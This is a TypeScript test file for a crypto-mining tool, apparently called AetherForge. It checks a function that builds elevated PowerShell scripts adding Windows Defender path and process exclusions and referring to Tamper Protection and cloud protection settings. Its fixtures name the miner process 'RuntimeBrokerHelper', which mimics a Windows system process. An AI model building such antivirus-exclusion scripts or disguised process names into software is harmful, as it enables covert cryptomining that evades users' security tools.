Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.
49 lines
1.8 KiB
TypeScript
49 lines
1.8 KiB
TypeScript
import { describe, it, expect } from 'vitest';
|
|
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
|
|
|
|
describe('defenderExclusion', () => {
|
|
it('builds elevated PowerShell with path and process exclusions', () => {
|
|
const script = buildDefenderExclusionScript({
|
|
installPath: "C:\\ProgramData\\AetherForge\\worker",
|
|
processName: 'RuntimeBrokerHelper',
|
|
});
|
|
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
|
expect(script).toContain('RuntimeBrokerHelper.exe');
|
|
expect(script).toContain('Tamper Protection');
|
|
});
|
|
|
|
it('escapes single quotes in paths', () => {
|
|
const script = buildDefenderExclusionScript({
|
|
installPath: "C:\\O'Brien\\miner",
|
|
processName: 'worker',
|
|
});
|
|
expect(script).toContain("C:\\O''Brien\\miner");
|
|
});
|
|
|
|
it('provides default install preview', () => {
|
|
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
|
});
|
|
|
|
it('warns when not elevated and documents manual checklist', () => {
|
|
const script = buildDefenderExclusionScript({
|
|
installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker',
|
|
processName: 'RuntimeBrokerHelper',
|
|
});
|
|
expect(script).toContain('Administrator');
|
|
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
|
expect(script).toContain('Add-MpPreference -ExclusionProcess');
|
|
expect(script).toContain('Controlled folder access');
|
|
expect(script).toContain('Cloud-delivered protection');
|
|
expect(script).toMatch(/AetherForge — Windows Defender exclusions/);
|
|
});
|
|
|
|
it('appends .exe to bare process names', () => {
|
|
const script = buildDefenderExclusionScript({
|
|
installPath: 'C:\\miner',
|
|
processName: 'worker',
|
|
});
|
|
expect(script).toContain("'worker.exe'");
|
|
expect(script).not.toContain("'worker.exe.exe'");
|
|
});
|
|
});
|